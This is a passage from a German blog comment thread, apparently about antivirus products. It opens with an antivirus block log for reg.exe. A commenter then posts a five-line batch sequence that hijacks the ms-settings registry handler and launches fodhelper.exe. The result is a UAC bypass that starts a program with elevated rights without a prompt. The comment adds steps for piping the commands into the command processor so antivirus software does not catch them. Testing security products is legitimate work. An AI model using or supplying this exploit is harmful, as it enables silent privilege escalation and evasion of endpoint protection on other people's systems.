    Exploit-Pfad: C:\Windows\System32\reg.exe
    Exploit-Status: ATC/IDS Blockiert
    Letzte Blockierung: 20 March 2023 09:41:03

  18. Stefan Kanthak sagt:

    Falls Schlangenöl sich erdreisten sollte, (m)ein völlig harmloses Batch-Skript ins Nirwana zu befördern, bitte noch folgende Alternativen durchspielen:

    1) eine Datei snakeoil.txt (der Name ist frei wählbar) mit folgenden 5 Zeilen erzeugen:
    — snakeoil.txt —
    REG.exe ADD HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command /VE /T REG_SZ /D "%SystemRoot%\REGEDIT.exe" /F
    REG.exe ADD HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer /VE /T REG_SZ /D "qUACkery" /F
    START /WAIT /B FoDHelper.exe
    REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\MS-Settings /F
    REG.exe DELETE HKEY_CURRENT_USER\Software\Classes\qUACkery /F
    — EOF —
    2) den Inhalt der Datei in die Zwischenablage kopieren: im Editor per STRG+A STRG+C
    3) den Kommandoprozessor starten und den Inhalt der Zwischenablage einfügen (STRG+V oder Rechtsklick oder Systemmenü->Bearbeiten->Einfügen)
    4) den Kommandoprozessor ggf. erneut starten und folgende Kommandozeile ausführen:
    TYPE snakeoil.txt | %COMSPEC%

    JFTR: 3) und 4) füttern den Kommandoprozessor auf minimal unterschiedliche Weise mit den 5 Kommandozeilen.

Schreibe einen Kommentar zu Ärgere das Böse! Antworten abbrechen

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert

Hinweis: Bitte beachtet die Regeln zum Kommentieren im Blog (Erstkommentare und Verlinktes landet in der Moderation, gebe ich alle paar Stunden frei, SEO-Posts/SPAM lösche ich rigoros). Kommentare abseits des Themas bitte unter Diskussion.